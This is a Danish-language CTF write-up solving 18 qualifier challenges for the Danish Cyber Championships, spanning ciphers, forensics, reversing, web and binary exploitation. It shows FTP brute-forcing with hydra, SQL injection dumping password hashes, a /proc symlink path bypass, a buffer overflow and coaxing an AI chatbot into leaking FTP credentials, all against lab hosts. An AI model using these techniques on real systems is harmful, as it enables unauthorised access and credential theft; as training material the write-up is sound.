Endnu et år er gået og kvalifikationen til De Danske Cybermesterskaber er igen i gang.

Jeg endte i år på en 15. plads, med 18/26 solves, hvilket jeg er godt tilfreds med.

For min (og ikke mindst din, kære læser) skyld har jeg undladt at skrive hele min process ned for at finde alle flagene. Nogle af opgaverne har jeg brugt flere timer på end jeg nok vil indrømme, men når de endelig bliver løst giver det også et ordentligt adrenalin kick, hvilket har motiveret mig til at fortsætte.

Men i dette post finder du svar på hvordan jeg har løst alle de 18 opgaver, uden alt for mange sidespor.

Cryptography

They see me subbin, they hating

Sværhedsgrad: Easy
Fil: Download
Beskrivelse:

Jeg krypterede en masse tilfældige engelske ord med en substitutions-chiffer.

Kan du arbejde med nøglen og dekryptere flaget?

Challengen handler om at kigge på fordeling af bogstaver, som kan være lidt irriterende at implementere selv. Men husk der eksistere en del tooling på internettet i forvejen, så hvis i sidder fast prøve at google lidt omkring tooling til substitution ciphers!

En hurtig internetsøgning, ledte frem til denne side: https://planetcalc.com/8047/, som hurtigt finder frem til teksten er krypteret med nøglen ERACMTUNVFHKOYLJXQDGSZBIWP og dekrypteres med CWDSAJTKXPLOEHMZRBUFGIYQNV.

Flag: DDC{WELCOME_TO_DDC_TWENTY_TWENTY_FOUR_LETS_DO_SOME_CRYPTO}

Affinity

Sværhedsgrad: Medium
Fil: Download
Beskrivelse:

Et affine cipher krypterer en klartekst x til chiffertekst y ved at beregne y = (ax + b) mod m.

Jeg har designet denne sikre krypteringsmekanisme ved hjælp af et affine cipher. Kan du bryde den?

Vi får en tekst krypteret med Affine cipheren. Wikipedia beskriver at denne cipher depryteres ved at udregne

Dekrypteringen er lidt rodet, da jeg dekrypterer flaget bagfra, men det er praktisk med modulo.

def affine_decrypt(cipher, a, b, m):
    result = ''
    inv = pow(a, -1, m)

    for _ in range(36): # Length of flag
        char = cipher % m
        d = (inv * (char - b)) % m
        c = c >> 8
        result = chr(d) + result

    return result

Plainteksten findes ved at tage hver karakter og udregne $D(x)$, som beskrevet ovenfor.

Nu mangler vi bare at finde de mulige aer og b er, hvilket let kan gøres med en list comprehension.

m = 256

ays = [x for x in range(1, 257) if gcd(x, m) == 1]
bs = [x for x in range(1, 257)]

with open('output.txt', 'r') as file:
    cipher = int(file.read(), 0)

for a in ays:
    for b in bs:
        candidate = affine_decrypt(cipher, a, b, m)
        if ("DDC{" in candidate):
            print(candidate)
            print(f'Key = {(a, b)}')
            exit()

Så burde man bare at kunne køre det.

./sol.py
DDC{cryptography_needs_nonlinearity}
Key = (135, 13)

Flag: DDC{cryptography_needs_nonlinearity}

Cracking the randomness

Sværhedsgrad: Medium
Fil: Download
Beskrivelse

Tilfældige tal bruges hele tiden! Men hvor tilfældige er de egentlig?

Til denne udfordring kan det være en fordel at søge rundt efter information og værktøjer til at angribe pythons random funktion!

Vi har en masse output fra pythons random.random() funktion. Heldigvis kan man, ved brug af nok output, regne sig frem til hvad det næste input vil være, såfremt man har mindst 624 outputs (hvilket er præcis hvad vi har). Dette kan gøres med randcrack.

import random
from randcrack import RandCrack

rc = RandCrack()
with open('output.txt', 'r') as f:
    noise = [int(line) for line in f.readlines()]

for n in noise[:624]:
    rc.submit(n)

flag = ''
for f in noise[624:]:
    i = int(f)
    bits = i^rc.predict_getrandbits(32)
    flag += bits.to_bytes((bits.bit_length() + 7) // 8, 'big').decode('utf-8')

print(flag)

Flag: DDC{Not_so_random_anymore_mr_randcrack}

Forensics

Duck Hans

Sværhedsgrad: Easy
Fil: Download
Beskrivelse:

Mens du var på ferie, så blev din favorit and Hans befriet af en anden frihedskæmpene and. Hans blev domesticeret tidligt i sit liv, så du ved at han ikke vil kunne overleve i naturen og er nødt til at få ham tilbage så hurtigt som muligt. Heldigvis lavede den frihedskæmpene and en fejl ved at efterlade dig en note og et billede af stedet hvor Hans blev sat fri. Derudover, så har dit gamle overvågningskamera opfanget noget, men det stoppede med at virke i et minuts tid omkring det tidspunkt hvor den frihedskæmpene and slog til. Du har nu fået fat på netværkets logfiler som er relateret til dit overvågningskamera og du mistænker at det har været udsat for et DDoS(1) angreb.

Kan du finde navnet og IP addressen på den frihedskæmpene and, samt søen hvor Hans blev sat fri?

Aflever flaget i følgende format: DDC{FornavnEfternavn_Sø_IPaddresse}

Fx: DDC{DonnieDuck_Tystrup_000.000.000.00}

Bemærk at det kun er den første del af søens navn som skal afleveres i formatet: “Tystrup” i stedet for “Tystrup Sø”

(1) DDoS: I den her sag er det ikke et Distributed Denial of Service angreb men et Ducking Denial of Service angreb. Forskellen her er at angrebet måske ikke er fuldstændigt distribueret (“Distributed”).

Vi får 3 forskellige filer:

1. En PDF fil
2. Et .jpg billede
3. Et netværkslog

Indholdet i PDFen ser ikke umiddelbart spændende ud, men åbner man “Document Properties” i Firefox, kommer linjen Creator: quarl.quackington@mail.dk frem. Et godt gæt er derfor at vores frihedskæmpende and hedder Quarl Quacklington.

Hvad angår billedet er det ofte nemt at gemme information enten i EXIF data, eller ved brug af stegonografi.

Billedet er gemt med koordinater, hvilket er meget heldigt, da vi jo skal bruge en lokation.

exiftool Hans_Is_Free.jpg
<snip>
GPS Position: 55 deg 40' 37.31" N, 12 deg 28' 33.15" E

Åbner man dette på Google maps (55°40’37.3”N 12°28’33.2”E), finder man frem til Damhussøen.

Til at sortere i netværksloggen, har jeg skrevet et lille script der viser den IP med mest traffik:

#!/usr/bin/env python3
with open("Network Log.txt", "r") as f:
    lines = f.readlines()[2:]

ips = {}
for l in lines:
    ip = l.split("|")[1].strip()
    
    if not ip in ips:
        ips[ip] = 0
    ips[ip] += 1

# get ip with most requests
ip = sorted(ips, key=ips.get, reverse=True)[0]
print(f'{ip=}, with {ips[ip]} requests')

./sol.py
ip='93.184.216.34', with 12 requests

IP adressen der udfører DDoS er altså 93.184.216.34.

Flag: DDC{QuarlQuacklington_Damhus_93.184.216.34}

CTF platformen

Sværhedsgrad: Very Easy
Fil: Download
Beskrivelse:

Jeg har fundet nogle underlige logs fra en CTF platform der har været med til BlackHat Europe. Det ser dog ud til, at den skriver nogle af flagene ud i loggen. Kan du finde et til denne opgave?

En hurtig grepping efter flaget er alt vi behøver:

rg -o "DDC\{.*\}" hknd.log
143:DDC{CTRL+F-can-be-used-for-flags}

Flag: DDC{CTRL+F-can-be-used-for-flags}

Spionjagt

Sværhedsgrad: Very Easy
Fil: Download
Beskrivelse:

Velkommen til “Spionjagt”! Din mission er at afsløre en spion, der har infiltreret et dansk CTF-hold og stjålet følsomme data. Se om du kan identificere de stjålne oplysninger ved at kigge i netværks trafikken.

Lad og starte med at se på fordelingen af traffik, baseret på protokoller:

Der er en smule HTTP traffik, et af requestsne er et POST på et /login.

Idet det kald bliver lavet svarer serveren med

{"cookie":"RERDe0R1VHJvZWRlTm9rQXREdVNrdWxsZUJydWdlRGV0SGVyU29tRmxhZ30="}

Det ligner base64…

echo "RERDe0R1VHJvZWRlTm9rQXREdVNrdWxsZUJydWdlRGV0SGVyU29tRmxhZ30=" | base64 -d
DDC{DuTroedeNokAtDuSkulleBrugeDetHerSomFlag}

Vi er blevet trollet af opgaveskaberne. Øv.

Lad os i stedet undersøge FTP trafikken.

Pakke 2266 indeholder den overførte secretview.txt fil som vi kan få vist i wireshark.

Filen virker til at indeholde en masse feedback på CTF opgaver, hvoriblandt der står et flag:

[...] En af mine personlige favoritter var opgaven med flagget i formatet DDC{fa4fb1ed-3124-4702-bb28-a29f57a7cc4a} [...]

Efter at have erkendt dette, fandt jeg frem til at flaget også kan læses direkte i filen, vha. strings (hvilket nok også er begrundelsen for sværhedsgraden).

strings spionjagt.pcap | rg -o "DDC\{.*\}"
DDC{fa4fb1ed-3124-4702-bb28-a29f57a7cc4a}

Flag: DDC{fa4fb1ed-3124-4702-bb28-a29f57a7cc4a}

Flag Transfer Protocol

Sværhedsgrad: Very Easy
Beskrivelse:

Er der mon en “admin” der har en port åben for at overføre filer? Og har han mon tænkt over at John lurer i skyggerne?

Start med at lede efter hosts med FTP åben:

nmap 77.39.18.0/24 -p 20,21

Udover de hosts der er reserveret til Haaukins (.1, .2, .3), er 77.39.18.30 åben med FTP.

hydra -l admin -P /usr/share/wordlists/rockyou.txt 77.39.18.30 ftp
<snip>
[21][ftp] host: 77.39.18.30   login: admin   password: phantom
# login
ftp admin@77.39.18.30
ftp> ls
-rw-rw-rw-   1 root     root       221251 Feb 19 13:06 flag.jpg
-rw-rw-rw-   1 root     root       111879 Feb 19 13:06 flag.png
-rw-rw-rw-   1 root     root           34 Feb 19 13:06 flag.txt
ftp> get flag.txt
ftp> exit
cat flag.txt
DDC{Keeping-track-of-all-my-flags}

Flag: DDC{Keeping-track-of-all-my-flags}

Reverse Engineering

I C what you did there

Sværhedsgrad: Easy
Fil: Download
Beskrivelse:

En eller anden går rundt og vil spille det der spil med kopper hvor man skal gætte hvor bolden er henne. Der er dog ingen der har besejret ham endnu. Kan du vinde spillet?

Du kan begynde spillet at ved bruge kommandoen “nc shuffler.hkn 1337”

Jeg kylede den udleverede binary ind i Ghidra, for at se hvad den kunne sige om filen. Det ser noget rodet ud, og den har svært ved at sige hvilke typer hvad er, men jeg har brugt en del timer på at forsøge at blive klogere på den. Jeg observerede dog at funktionen checkInput() verificerer at inputtet er 29 karakterer langt, hvilket matcher det med de tal der ligger gemt i main():

int local_48 = 0x4773707543656854;
int local_40 = 0x5226646e756f526f;
int local_38 = 0x69436e49646e756f;
int local_30 = 0x73656c6382;

Disse tal ligger alle inden for ASCII range, hvis man ser på det byte-vis, og er 29 bytes lang.

Derfor tog jeg og konverterede det til tekst, vha. CyberChef, hvilket gav teksten GspuCehTR&dnuoRoiCnIdnuoselcr. Reverser man dette, får man strengen rclesoundInCioRound&RTheCupsG, hvilket begynder at ligne noget.

Da den filen er skrevet som little-endian, byttede jeg om på rækkefølgen af de “variable” (local_48, local_40, local_38 og local_30). Hvilket giver strengen TheCupsGoRound&RoundInCircles, hvilket jo faktisk er læsbart!

Lad os se hvad den binary siger til det…

echo "TheCupsGoRound&RoundInCircles" | ./shuffler 

selcriCnIdnnd&RouuoRoGspuCehTIncorrect input

Den giver inputtet tilbage, men i en mærkelig rækkefølge.

For nemmere at kunne observere dette, kan vi blot give den alfabetet:

echo "abcdefghijklmnopqrstuvwxyz123" | ./shuffler 

321zyxwvutsmnopqrlkjihgfedcbaIncorrect input

Den er altså reverset, på nær et stykke i midten, som stadig står normalt, men er forskudt et par indeks.

Ud fra checkInput() ved vi at inputtet skal matche den streng vi har fundet, så nu starter reversingen for alvor: Find strengen der giver TheCupsGoRound&RoundInCircles som output

Give me an input: 
selcriCnIdnuund&RooRoGspuCehT

TheCupsGoRound&RoundInCirclesDDC{K33p_my_3y3s_0n_th3_priz3}

Flag: DDC{K33p_my_3y3s_0n_th3_priz3}

Too much fun with rexep 101

Sværhedsgrad: Medium
Beskrivelse:

I’m having fun with regular expressions. Here I played a bit with features like capture groups, lookahead and look behind.

/(?=^(.{4}([2-8CFGLNPRUXY\-]+).)$)(?=^([^5]*)$)(?=DDC\{)(?=.*4LLY)(?=.*C4)(?=.{4}(?<RE>..).{13}(?:\k<RE>))(?=.*P\d)(?=^.{4}[23GPRX]{7}-)(?=^([^3]*3){4}[^3]*$)(?=^.{5}(?<D>\d).{1}(?:\k<D>).{9}(?:\k<D>).{2}(?:\k<D>))(?=.*-(?!=4)([4CN]{3})(?<!\d)-)(?=^[^\-]{11}(?<=2)-[^\-]{3}(?<=N)-83-[34LRY]{6}-FUN)(?=.+R.G.X)(?=.*(?<=N)}$)(?=.*(?<=R)3){2}(?=.*(-..N)){2}^.{30}$/gm

Can you find a string that matches?

Det er noget af en mundfuld, men hvis vi deler expressionen op, består den af en hel masse positive-lookahead expressions:

/(?=^(.{4}([2-8CFGLNPRUXY\-]+).)$) // 1
(?=^([^5]*)$) // 2
(?=DDC\{) // 3
(?=.*4LLY) // 4
(?=.*C4) // 5
(?=.{4}(?<RE>..).{13}(?:\k<RE>)) // 6
(?=.*P\d) // 7
(?=^.{4}[23GPRX]{7}-) // 8
(?=^([^3]*3){4}[^3]*$) // 9
(?=^.{5}(?<D>\d).{1}(?:\k<D>).{9}(?:\k<D>).{2}(?:\k<D>)) // 10
(?=.*-(?!=4)([4CN]{3})(?<!\d)-) // 11
(?=^[^\-]{11}(?<=2)-[^\-]{3}(?<=N)-83-[34LRY]{6}-FUN) // 12
(?=.+R.G.X) // 13
(?=.*(?<=N)}$) // 14
(?=.*(?<=R)3){2} // 15
(?=.*(-..N)){2} // 16
^.{30}$/gm // 17

Lad os tage reglerne 1 for 1:

1. Fra og med tegn 5, må der kun være tegn i rangen [2-8CFGLNPRUXY] (udover sidste tegn)
2. Flaget må ikke indeholde tallet 5
3. Flaget starter med DDC{
4. Flaget indeholder sekvensen 4ALLY
5. Flaget indeholder sekvensen C4
6. Sekvensen på indeks 5-6 er mage til indeks 20-21
7. Efter P skal der stå et tal
8. Efter DDC{ følger 7 tegn blandt [23GPRX] og så en bindestreg
9. Der er 4 3-taller i flaget
10. Tallet på indeks 6, 8, 18 og 21 er ens
11. Flaget indeholder -[4CN]{3}-, hvor sidste karkter inden bindestregen ikke er et tal.
12. Flaget har formen $..........2-..N-83-[34LRY]{6}-FUN, hvor . ikke kan være en bindestreg
13. Flaget indeholder R.G.X
14. Flaget slutter på N}
15. Sekvensen R3 indgår 2 gange
16. Sekvensen -..N indgår 2 gange
17. Flaget er 30 karakterer langt

En god start er at bruge hjemmesiden regex101.com både til at overskue de mange tegn, men også til at verificere flaget inden submission.

Ud fra disse 17 regler, kan man finde frem til flaget, ved stille og roligt at substituere karaktererne.

Flag: DDC{R3G3XP2-C4N-83-R34LLY-FUN}

Web Exploitation

we-need-more-crypto

Sværhedsgrad: Medium
Beskrivelse:

Cryptocurrency er i øjeblikket det mest populære, og derfor er det vigtigt med endnu en platform, hvor du som bruger kan handle og foretage betalinger med din cryptocurrency! Hos CryptoFlex er vi dybt involveret i kryptovalutaer og ønsker derfor at præsentere innovative måder at håndtere handel og brug af kryptovalutaer på i dag. Vores nye hjemmeside er under udvikling, men er allerede tilgængelig online! Tag et kig på cryptoflex.hkn!

Vi lander på en plain hjemmeside, uden det store spændende man kan hverken logge ind eller signe up. Et nmap scan fortæller hurtigt at der ikke er andet åbent end port 80, så vi har kun hjemmeside at gå efter.

Dog viser robots.txt sig at være interessant:

User-agent: *
Disallow: /private/
Disallow: /secret.html
Disallow: /images/new_images/

Af disse entries, er det kun /images/new_images/ der eksisterer - men den returnerer 403.

Undersøger man kildekoden for hjemmesiden nærmere, kan man dog se at linje 64-70 er ret interessant:

<li class="nav-item">
    <a class="nav-link" href="404.html">
    <!-- Wallet -->
    <span>Wallet</span>
    <!-- <img src="*********/wallet-img.jpg" width="18px" alt="" /> -->
    </a>
</li>

Kodekommentaren stikker ud fra alle de andre, da noget af stien en censoreret.

Gad vide om det kunne være den sti fra robots.txt…?

Og ganske rigtigt, navigerer man til /images/new_images/wallet-img.jpg, finder man dette billede:

Flag: DDC{c0mm3nted_c0de_c1n_st1LL_b3_se3N}

im-blogging-you

Sværhedsgrad: Hard
Beskrivelse:

Hejsa! Jeg vil gerne byde dig velkommen til im-blogging you. Im-blogging you er en blog side, hvor du kan oprette dig som bruger og poste dine tanker og følelser. Vi har også mulighed for at lave private post som er kun tilgængelig for dig! Vi håber at se dig poste løs på vores fantastiske blog side!

Vi får en hjemmeside der virker til at være halvt færdig, men de ting der er implementeret er forholdsvis robuste. Det er muligt at signe up og logge ind, men reset password featuren virker ikke (returnerer 500).

Hjemmesiden er bygget i Flask, så man får en session cookie sat, som vi kan læse hvad indeholder vha. flask-unsign.

flask-unsign --decode --cookie ".eJwlzsuKAjEQheF3ydpFkkpd4ss0dQuKoNCtq2HefVpmeX448P2Ube153Mr1vX_yUrZ7lGuxrDingYVNRtPmC4FyjJYcEESqq6NBiIaOMOnhHROZLLgmV3ZqbWgOA54TiUC-F2FLpy6hoivIkFlc53IJWRaUPBBGUjkhnyP3f03v5_ZjX9v79cjn16cNFB3TEipTdPPlmg2lTzx7zWUIMMvvHx2qQaY.ZfMqlA.k0-nZmnR9hAGNr7JfAbzyaNP_J4"
{'_fresh': True, '_id': 'be0599b3bdb975ba1cf536e441e7d3d66aaf25b3d8ada4db82dc25e576bd70e707c6114ae4b379956638aaf287bec628da8afd6b5778ca9fc8d8fbd6e74534e6', '_user_id': '22', 'csrf_token': 'ba13a5c5ebe3076d2bcfcae1582955c50efb5339'}

Denne token indeholder også en CSRF token, så det er heller ikke muligt at få en anden bruger til at nulstille deres kodeord uanset.

Det er heller ikke muligt at lave SSTI i posts, da alle special karakterer bliver escapet ordentligt.

En bruger kan uploade et nyt profilbillede, hvilket jeg også forsøgte at injecte, men uden held.

Det interessante på siden er dens søge-feature, hvor man kan søge i brugere og posts. Lad os se om man kan lave en SQL injection på dette…

Det virker!

Desværre har jeg ikke fået SQLmap til at virke på URLen, så det bliver manuelt.

Jeg brugte en 4-5 timer på at erkende at man ikke kunne bruge UNION SELECT på nogen anden tabel, så jeg byggede et script til at enumerate passwords på brugerne med LIKE operatoren. Jeg fik hashet og emailen for admin brugeren men kunne ikke logge ind med det (det rå hash).

Jeg enumeratede posts der indeholdt password eller secret, men fandt ikke noget interessant der kunne bruges, til sidst lagde jeg opgaven på hylden.

Et par dage senere tog jeg fat i den igen og opdagede at mine enumeration script erstattede mellemrum med %20, men at søgefeltet erstattede det med +.

Jeg ændrede dette hvorefter UNION SELECT virkede! :no_mouth:

Nu er det nemt blot at dumpe alle passwords:

Databasen er sqlite, og indeholder ikke andet end de 2 tabeller user og post, udover autoindex-tabeller (SELECT name FROM sqlite_master).

De to tabeller har hhv. 5 og 6 kolonner:

Ved at gennemgå postsne, kan jeg endelig se det fulde post der indeholder teksten “password”:

How awesome! I can use these private posts for private stuff!!, That means i dont have to remember my password:b’$2b$12$2..VGo7z8PvojapLFLnBceebUnhMJ3nZP6MpgJXe.Q66iw6K6awtC’

Det er postet af brugeren med user_id 21, som har emailen Bobby@tables.com.

Så er det bare om at cracke det bcrypt hash.

Jeg satte JohnTheRipper igang med dette, uden nogle agumenter, da john ikke var glad for --wordlist og --format. john udleder selv hashtypen og bruger blot sin default password liste.

Efter nogle minutter, fandt den et passende password: running1

Så vi prøver at logge ind med Bobby@tables.com:running1.

Flag: DDC{MY_S0NS_N4M3_1S_B0BBY_T4BL3S}

Awesome Javascript

Sværhedsgrad: Very Easy
Beskrivelse:

I dag er JavaScript afgørende for hjemmesider! Find en fed JS-funktion på awesome-js.hkn!

Efter at åbne awesom-js.hkn, finder man en side der kan bruge et par funktioner i JavaScript. Det interessante er dog at åbne kildekoden for main.js, hvor der på linje 39 ligger en flag() funktion, som returnerer en streg, der er base64 encoded.

function flag(){
    return 'Here is your mighty reward: ' + atob('RERDe2wwbjNseS1qNHY0NWNyMXA3LWZ1bmM3MTBufQ');
}

Det er derfor blot at åbne konsollen og kører funktionen

flag()
"Here is your mighty reward: DDC{l0n3ly-j4v45cr1p7-func710n}"

Flag: DDC{l0n3ly-j4v45cr1p7-func710n}

kd-website

Sværhedsgrad: Something
Fil: Download
Beskrivelse:

“Jeg synes du skal holde dig til crypto challenges” - bootcamp deltager 2023 kdwebsite.hkn

Denne gang er vi heldige og får hele source for hjemmesiden vi ser på.

Den er ret plain - det er muligt at requeste et blogpost (eller en hvilken som helst anden fil på serveren), så længe det ikke er flaget. Flaget kan man kun få som admin. Den flask secret der er loadet ligger i filen ../config.json, så lad os prøve at dumpe denne:

// SECRET KEY for some session data or something? I'm not really sure how configs work. 
// If i just put some random hex string like this it should be fine right?
SECRET_KEY = "99a147c8b967fcc82fe59a7864bec829f2cbc81c50494120f506bab843780558"

Men dette er jo ikke valid json, så config bliver sat til os.urandom(32).hex(), hvilket ikke er muligt at gætte. Vi kommer altså ikke i nærheden af flaget ved at sætte vores session cookie til ADMIN.

Lad os i stedet se på funktionen is_flag().

# Util stuff
def readfile(path):
    return open(path, "r").read()

# Please no leak my flag
def is_flag(path,flag):
    # avoid shenanigans
    return os.path.exists(os.path.abspath(path)) and readfile(path) == flag

Hvis vi skal kunne læse flaget, skal vi på en eller anden måde omgå den første del af det boolske udtryk. Jeg startede med at prøve at indsætte nogle specialtegn, som open() forhåbentlig ikke ville læse, men uden det store held.

Så kom jeg til at tænke på symlinks, og om det ikke er muligt at hoppe rundt med disse, så abspath() vil give noget der ikke passer, men open() følger dette symlink.

Jeg hentede det dockerimage ned som websitet kører over, og spawnede en interaktiv shell, for at finde et symlink der linkede bagud.

Efter lidt find -type l magi, fandt jeg frem til /proc/1/root, som er et symlink til /.

Ud fra dette kan stien til flaget skrives som /proc/1/root/../app/website/flag.txt.

Så vil abspath() give stien /proc/1/app/website/flag.txt, hvilket ikke findes, men open() vi følge symlinket, og returnere flaget til os!

Flag: DDC{oopsy-woopsy-my-config-goofy}

Binary Exploitation

Hangry CPU

Sværhedsgrad: Medium
Fil: Download
Beskrivelse:

Broooo du tror det ikke!! Din CPU har spist flaget, og jeg skulle ellers lige til at give det til dig… Legenden siger at hvis du spiser hvidløg så forsvinder vampyrerne, men de siger også at du kan bruge GDB til at tjekke din CPUs mave. Lækkert ikke? Nårh, men hils CPU’en fra mig og sig til den at den skal give mig mine barbecue chips tilbage.

file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5bede9cb7cb1326ced67179c995bd5537594c2a2, for GNU/Linux 3.2.0, not stripped

Outputtet fra filen er ret stort, men det tæller ned og siger hvornår man skal læse flaget i et register.

Lad os prøve at objdumpe det

objdump -d chall
<snip>
  40141e:	e8 fc fd ff ff       	call   40121f <printLineByCharector>
  401423:	bf 20 a1 07 00       	mov    $0x7a120,%edi
  401428:	e8 93 fc ff ff       	call   4010c0 <usleep@plt>
  40142d:	b8 00 00 00 00       	mov    $0x0,%eax
  401432:	e8 59 fe ff ff       	call   401290 <processFlag>
  401437:	b8 00 00 00 00       	mov    $0x0,%eax
  40143c:	e8 09 ff ff ff       	call   40134a <breakHere>
  401441:	b8 00 00 00 00       	mov    $0x0,%eax
  401446:	e8 d0 fe ff ff       	call   40131b <deleteFlag>
<snip>

Der ligger faktisk en funktion der hedder breakHere

Mon ikke det ville være et passende sted at sætte breakpointet i gdb?

gdb chall
(gdb) break breakHere
(gdb) run
(gdb) info registers
rax            0x0                 0
rbx            0x7fffffffe360      140737488348000
rcx            0x7fffffffe360      140737488348000
rdx            0x7fffffffe360      140737488348000
rsi            0x0                 0
rdi            0x0                 0
rbp            0x7fffffffe480      0x7fffffffe480
rsp            0x7fffffffe480      0x7fffffffe480
r8             0x7fffffffe360      140737488348000
r9             0x7fffffffe360      140737488348000
r10            0x7fffffffe360      140737488348000
r11            0x7fffffffe360      140737488348000
r12            0x7fffffffe360      140737488348000
r13            0x7fffffffe360      140737488348000
r14            0x7fffffffe360      140737488348000
r15            0x7fffffffe360      140737488348000
rip            0x401352            0x401352 <breakHere+8>
<snip>

Spændende… Rigtige mange af registrerne peger på den samme adresse, lad os se hvad der står der.

(gdb) x/s $rbx
0x7fffffffe360:	"DDC{Br0W51Ng_7Hr0UgH_r3g1573r5}"

Her bruger jeg xfor eXamine og s for at formatere det som en String.

Flag: DDC{Br0W51Ng_7Hr0UgH_r3g1573r5}

File overflow

Sværhedsgrad: Easy
Beskrivelse:

Tillykke med dit nye job her hos LS pension. Vi er glade for at du har valgt at starte her. For at du kan komme i gang skal du ind i vores filsystem. Her kan du finde de filer du skal bruge. SSH ind i vores system på FileSystem.hkn. Dit brugernavn er employe1 og din adgangskode er 321. Men pas på at du ikke får filsystemet til at flyde over.

ssh employe1@filesystem.hkn

Efter at SSHe ind i maskinen, ligger der en binary, samt en lettere modificeret source dertil.

Et udklip af denne source kan ses her:

typedef struct user {
    char username[32];
    char password[32];
    int access_level;
} user;

void idCheck(user *account)
{
    if (account->access_level >= 3)
    {
   
        printf("Since you are the boss you can get the balance of any account\n");

        system("cat /path_to_flag");
    }
    else
    {
        printf("you dont have the right access level\n");
    }
}

Idet man kører filen, beder den om et brugernavn, som sættes ind i en user struct, defineret ovenfor.

Man får default access level 1, hvorved man ikke har adgang til flaget, men da der ikke er nogen begrænsning på inputtet i starten, kan vi blot overflowe de to strings på hver 32 karakterer og dermed sætte vores access level manuelt.

Good afternoon and welcome
What is your name
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa5

Select an option:
1. Check access level
2. View account details
3. Change password
4. Access file
0. Exit
4
Since you are the boss you can get the balance of any account
DDC{THE_FILES_ARE_EVERYWHERE}

Flag: DDC{THE_FILES_ARE_EVERYWHERE}

Misc

Digit Distorter

Sværhedsgrad: Medium
Beskrivelse:

Din kollega fortæller dig spændt om den ciffer indkodningsapplikation han har lavet, som din afdeling skal bruge fra nu af. Du ved at din kollega hverken er begavet når det kommer til udvikling af applikationer eller sikker indkodning, og han har lavet fejl førhen, så du spørger om du må tage et kig på den. Din kollega vil vædde på at du ikke ville kunne afkode den 10-cifret kode på billedet som du kan “se” på hjemmesiden. Kan du afkode den og bevise, at din afdeling ikke burde anvende din kollegas applikation? Du kan finde applikationen under linket nedenfor.

Flaget er den originale 10-cifret kode fx. DDC{0000000000}

digit-distorter.hkn

Vi har at gøre med en hjemmeside der viser en form for QR kode, eller i hvert fald brudstykker af en.

Vi skal finde 10 tal gemt i et billede på 150x15 px (skaleret op 10 gange). Det faktiske billede er 1500x160, men de nederste 10 px har ikke noget at sige, så vidt jeg kan se.

Udfordringen bliver ikke loadet korrekt, da den er sat ind som .jpg, men faktisk ligger med en .png extension (formentlig et hint til beskrivelsen).

Dette er billedet vi skal finde tallene for:

Der er en prompt man kan indsætte 10 tal i og få et billede tilbage.

Derudover er der billedet nederst på siden, som har stien /static/images/example_last=7.png

Dette findes for alle tal 0-9, hvilket jeg har brugt lang tid på at forsøge at skabe mening i.

Jeg tog dog også og promptede siden med sekvensen 0123456789, 1122334455 og 6677889900, det viser sig hurtigt at disse sekvenser ikke viser de samme koder for ens tal.

Men jeg måtte igang med GIMP:

Ved at mixe og matche, fandt jeg frem til sekvensen 411.A5.A.5, hvor A er det samme tal.

Da jeg ikke kom videre, begyndte jeg at se efter mønstre i koderne:

• Jeg talte antal sorte pixels i bestemte rækker
• Jeg talte antal sorte pixels i bestemte kolonner
• Jeg talte antal sorte pixels i hver kode
• Jeg forsøgte at skrive et script der loadede filerne og viste lignende mønstre

Alt sammen uden held.

Jeg så ikke anden udvej end at prøve at skrive dette delvise svar ind i prompten og se hvad den gav tilbage.

Til min store forargelse (da det er rimelig intuitivt), viste den selvfølgelig at de tal jeg havde passede, hvilket måtte betyde at jeg kunne gætte mig frem til de resterende tal.

Efter lidt fedten frem og tilbage med tallene fandt jeg frem til sekvensen 4113956985, som svarer til den givne kode.

Flag: DDC{4113956985}

A Tale of Encodings

Sværhedsgrad: Easy
Fil: Download
Beskrivelse:

Du er blevet kontaktet af Zark Muckerberg, ejeren af Phasebuk, som har problemer med en ny eksperimentel funktion i BetaVerset, hans virtuelle virkelighedsplatform, en funktion drevet af en LLM (Large Language Model). Tilsyneladende, efter en arbejderforeningskonflikt, forlod nogle utilfredse udviklere projektet midt i det hele, og gemte en afgørende adgangskode inde i applikationen. Efter nogle indledende forsøg på at finde den ved hjælp af dit standardværktøj, lykkedes det dig at hente det, du tror er den adgangskode, du søger, i en kodet form. Efter flere mislykkede forsøg på at afkode den, i din fortvivlelse, bad du AI-assistenten inde i BetaVerset om hjælp. Til din glædelige overraskelse genkendte den krypteringen, men i overensstemmelse med sin programmering, gav den dig instruktionerne om, hvordan du afkoder den som en historie i universet. Nu skal du finde ud af dens gåde for at løse dit problem…

Vi får en masse fyldtekst, samt et encoded password:

010001004401101111440110111043011001017B010111114E
010110016F0110010174011101005F01111101

Det ser ud til at være en blanding af hex og binær, men mon ikke det blot er charcodes. Det nemmeste er i hvert fald at dele den op, for overskuelighedens skyld.

01000100 01101111 01101110 01100101 01011111
01011001 01100101 01110100 01111101

44 44 43 7B 4E 6F 74 5F

Ved at oversætte de to encodings seperat, får man at det binære giver Done_Yet} Og det hexadecimale giver DDC{Not_

PDFen hinter dog også at man skal bruge ceasar til at shifte nogle af tegnene.

Det kan f.eks. gøres ved bare at slå op i man ascii, hvor man kan se rækkefølgen af tallene og deres værdier.

Efter hvert bogstav i flaget, (udover underscore) er roteret, får vi teksten: Kip_Devs_Hpy

Flag: DDC{Kip_Devs_Hpy}

Boot2Root

Campfire Stories

Sværhedsgrad: Easy
Beskrivelse:

Besøg campfire-stories.hkn og lad de varme flammer og lugten af røg inspirere dig.

Vi lander på en plain hjemmeside der kan give output, baseret på en prompt. Den kan i hvert fald give et output…

robots.txt, ser interessant ud:

# https://www.robotstxt.org/robotstxt.html
# Maybe we should not train on company data?
# Could our ftp credentials be leaked by the AI?
# Probably not a problem. Nobody writes stories about ftp anyway
# datacenter.campfire-stories.hkn should still be safe right?
User-agent: *
Disallow: /
Allow: /$
Allow: /share/*
Allow: /images/*
Allow: /static/*

Lad os se om vi kan få dumpet nogle credentials.

echo "Z3B0OTAwMA==" | base64 -d 
gpt9000

Så kan man vel bare logge ind?

ftp admin@datacenter.campfire-stories.hkn
ls
-rw-rw-rw-   1 root     root     22502646 Jan 09 08:25 train.txt
get train.txt
exit
rg -o "DDC\{.*\}" train.txt
87885:DDC{Im-happy-Dave-I-see-you-found-the-flag}

Flag: DDC{Im-happy-Dave-I-see-you-found-the-flag}

Preface

Once again, I had the pleasure of participaiting in the CTF for qualifying to the danish national cybersecurity team. As the CTF is in danish, the writeup will be likewise.

